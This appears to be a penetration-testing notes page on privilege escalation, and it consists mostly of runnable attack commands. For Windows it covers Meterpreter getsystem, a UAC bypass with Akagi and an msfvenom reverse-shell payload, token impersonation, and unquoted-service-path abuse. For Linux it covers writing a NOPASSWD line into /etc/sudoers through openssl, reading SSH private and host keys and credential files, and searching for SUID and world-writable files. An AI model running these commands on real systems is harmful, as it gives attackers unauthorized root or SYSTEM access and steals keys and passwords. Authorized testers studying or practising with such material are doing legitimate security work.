Privilege Escalation

General Privilege Escalation

Gather System information

Windows:

sysinfo
getprivs
set

Linux:

lsb_release
uname -a
lscpu

Stability of shell

For example, when you have a Meterpreter session, sometime it can be killed easily (e.g. browser). In this case, you have to migrate the Meterpreter session to another process. Meterpreter has a function to do this automatically:

run post/windows/manage/migrate

Or manually:

ps
migrate <target_pid>

Windows Privilege Escalation

getsystem

For Windows with Meterpreter, the easiest way is of course getsystem. 

getsystem
# If you want to be specific on using which technique:
getsystem -t <option>

However, if you are not admin, getsystem will probably fail. To check current privilege:

run post/windows/gather/win_privs

Bypass UAC

If win_privsshows UAC enabled, we may use some modules in Metasploit. For example, search for bypassuac:

search bypassuac

Also, there is a tool UACME:

After compiling executables, we can use the upload function in Meterpreter to upload Akagi and ReverseShell Payload (msfvenom). After that, create a multi handler referencing to the msfvenom payload. Then execute:

shell
Akagi64.exe <Keys> <msfvenom_payload>

Meterpreter Incognito Extension

Incognito is used to impersonate other valid user tokens on that machine.

In Meterpreter shell:

use incognito

To check available tokens:

list_tokens -u

To impersonate:

impersonate_token <delegation_token>

Unquoted Service Paths

Abuse the way that Windows searches for executables belonging to a service.

For example, in the above case, we can put an executable to one of the following locations and the service will use this executable!

  1. C:\Program.exe

  2. C:\Program Files (x86)\Canon\IJ.exe

To check if the system has unquoted services, in Windows cmd:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Or use scto query a specific service

sc qc <service_name>

Or Metasploit exploit ...

use exploit/windows/local/trusted_service_path

An other problem is that we may not have the permission to upload a file to the folder. To check:

icacls <path>

Again another problem is that the session could be unstable. A trick is to migrate to another process when handler gets a callback! 

use multi/handler
<snip>
set AutoRunScript migrate -n svchost.exe

HackTricks Check List

Find phrases in files

Find a phrase in the files in the current directory

findstr /si password .txt .ini .config

Payload All THE THING

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Linux Privilege Escalation

Abusable Unix Binaries

Generally speaking you have to do it manually. A baseline is at least do a system info recon - for example in Meterpreter:

sysinfo

Compile known exploits

Research ... on Google ... Exploit-DB ...

Generally we have to use gcc to compile the exploit:

gcc <exploit.c> -o exploit_executable

For 32-bit system:

gcc -m32 <exploit.c> -o exploit_executable

openssl

Check the capability of openssl:

getcap openssl

If you can find -ep capabilities, you have the root permission to read/write!

To read:

openssl enc -in <file>

To add ourselves with sudo privilege, first:

openssl enc -in /etc/sudoers > sudoers

Then:

echo "<current_user> ALL=(ALL)  NOPASSWD: ALL" >> sudoers
cat sudoers | openssl enc -out /etc/sudoers

Linux Privilege Escalation by g0tmi1k

Source:

Environment vars

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Plaintext usernames/passwords?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

Private keys?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_ke

Config files can be written?

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

Unmounted system?

cat /etc/fstab

Sticky bits, SUID / GUID?

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

Any "problem" files? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

Payload All The Things

Cronjob Detect

while true
do
    echo "$(date '+TIME:%H:%M:%S') $(ps -e -o ruser,command >> pshistory)" | tee -a logfile
    awk '!seen[$0]++'  pshistory >  pshistory.temp
    mv pshistory.temp pshistory
    sleep 0.1
done

PreviousIntroductionNextPersistence

Last updated